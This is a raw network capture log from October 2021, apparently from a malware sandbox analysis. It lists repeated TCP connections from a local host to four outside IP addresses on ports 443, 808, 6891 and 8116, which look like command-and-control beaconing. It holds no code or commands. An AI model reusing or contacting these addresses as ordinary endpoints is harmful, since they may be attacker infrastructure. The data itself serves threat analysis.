Oct 28, 2021 04:45:28.082906961 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.738555908 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.738637924 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.738732100 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.741822004 CEST	49800	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.741856098 CEST	443	49800	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.771478891 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.771547079 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.771589994 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.771621943 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.779249907 CEST	49801	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:28.779300928 CEST	443	49801	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:28.864737988 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:28.900283098 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.025329113 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.025557041 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.026386976 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.063134909 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.063353062 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.064732075 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.186718941 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.186804056 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.187136889 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.188018084 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.196440935 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.196603060 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.227509022 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.227675915 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.227807045 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.228688955 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.237510920 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.237669945 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.348941088 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.358000040 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.358427048 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.358458042 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.391411066 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.400337934 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.400357962 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.400366068 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.782852888 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.782876015 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:29.783102036 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.783145905 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.795059919 CEST	49803	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:29.922494888 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:29.957638025 CEST	808	49803	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:30.088884115 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.089142084 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.089988947 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.256233931 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.256401062 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.256541967 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.257169962 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.262212038 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.262324095 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.428539038 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.428564072 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.428575039 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.808788061 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.808809042 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.808876038 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.808945894 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.815633059 CEST	49804	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.835813999 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:30.835836887 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:30.835907936 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:30.835936069 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:30.839291096 CEST	49802	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:30.929182053 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:30.961313963 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:30.981858969 CEST	6891	49804	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:30.983351946 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:30.983694077 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:30.984388113 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:30.999692917 CEST	808	49802	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:31.039134026 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.039529085 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.039654970 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.040361881 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.047163963 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.047297001 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.101438999 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.102246046 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.126777887 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.126919031 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.127638102 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.139693022 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.290447950 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.290477991 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.290648937 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.290703058 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.292903900 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.293056011 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.293157101 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.294095993 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.301457882 CEST	49805	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:31.301969051 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.302139997 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.355443954 CEST	8116	49805	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:31.419605970 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.419662952 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:31.419810057 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.420767069 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.420803070 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:31.467412949 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.467432976 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.850579023 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.850606918 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:31.850732088 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.850795031 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.854108095 CEST	49806	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:31.952892065 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:31.953136921 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.954150915 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.954161882 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:31.960895061 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.960917950 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:31.961055040 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:31.961071968 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:31.977926970 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.019367933 CEST	6891	49806	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:32.030728102 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.030911922 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.031796932 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.084217072 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.084645987 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.084773064 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.085525990 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.093672037 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.093871117 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.146199942 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.146229982 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.146894932 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.317764997 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.317799091 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.317934036 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.321119070 CEST	49808	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:32.373859882 CEST	8116	49808	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:32.445563078 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.445605993 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.445790052 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.446901083 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.446918011 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.676350117 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.676456928 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.676615000 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.676640987 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.683917999 CEST	49807	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.683960915 CEST	443	49807	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.811599970 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:32.964890957 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.965167046 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.966578960 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.966593027 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.974930048 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:32.975080967 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:32.976110935 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:32.978041887 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.978055000 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:32.978302956 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:32.978328943 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:33.139205933 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.139368057 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.139483929 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.140204906 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.153867006 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.154016018 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.303289890 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.316998959 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.317034006 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.317087889 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.682094097 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:33.682163954 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:33.682184935 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:33.682221889 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:33.684514046 CEST	49809	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:33.684540987 CEST	443	49809	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:33.696276903 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.696301937 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.696366072 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.696393013 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.703285933 CEST	49810	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.817784071 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:33.849797964 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:33.866456032 CEST	808	49810	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:33.983266115 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:33.983443975 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:33.984469891 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.010760069 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.010927916 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.011598110 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.149873018 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.149912119 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.150048018 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.150634050 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.157248974 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.157396078 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.172116995 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.172179937 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.172281027 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.172966003 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.178325891 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.178457022 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.322732925 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.322766066 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.322777987 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.333491087 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.338789940 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.338866949 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.338885069 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.339013100 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.701292038 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.701318979 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.701601982 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.701642036 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.714046955 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.714078903 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.714308977 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.715982914 CEST	49811	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.720099926 CEST	49812	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:34.833858013 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:34.837480068 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:34.881035089 CEST	808	49812	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:34.881603003 CEST	6891	49811	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:34.893626928 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:34.893769026 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:34.894505978 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:34.948256016 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:34.948499918 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:34.948616028 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:34.949287891 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:34.954426050 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:34.954544067 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.000467062 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.000618935 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.003035069 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.008126974 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.008475065 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.008784056 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.169528008 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.169642925 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.169955969 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.170464039 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.174499035 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.174586058 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.192315102 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.192344904 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.192547083 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.197884083 CEST	49814	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.251693010 CEST	8116	49814	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.321495056 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.321533918 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:35.321621895 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.322376966 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.322388887 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:35.340971947 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.341031075 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.726293087 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.726341009 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.726552010 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.726579905 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.729731083 CEST	49813	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:35.840095997 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:35.840323925 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.841140985 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.841166019 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:35.845802069 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.845840931 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:35.845885038 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:35.845896006 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:35.850439072 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.896126032 CEST	6891	49813	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:35.908992052 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.909172058 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.910064936 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.968257904 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.968487024 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:35.968610048 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.969575882 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.980248928 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:35.980499983 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:36.038825989 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:36.038858891 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:36.208206892 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:36.208240032 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:36.208396912 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:36.213917971 CEST	49816	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:36.272825956 CEST	8116	49816	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:36.333656073 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.333702087 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.333837986 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.334569931 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.334592104 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.549546957 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.549631119 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.549649954 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.549688101 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.559751034 CEST	49815	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.559791088 CEST	443	49815	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.681380987 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:36.840966940 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:36.841129065 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:36.842025042 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:36.864798069 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.864957094 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.865739107 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.865756989 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.873042107 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.873070002 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:36.873239994 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:36.873256922 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:37.001606941 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.002748966 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.002854109 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.003621101 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.030917883 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.031055927 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.163181067 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.190620899 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.190656900 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.190674067 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.567204952 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.567239046 CEST	808	49818	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:37.567440033 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.575061083 CEST	49818	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:37.580785036 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:37.580894947 CEST	443	49817	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:37.580959082 CEST	49817	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:37.580987930 CEST	49817	443	192.168.2.5	192.46.210.220
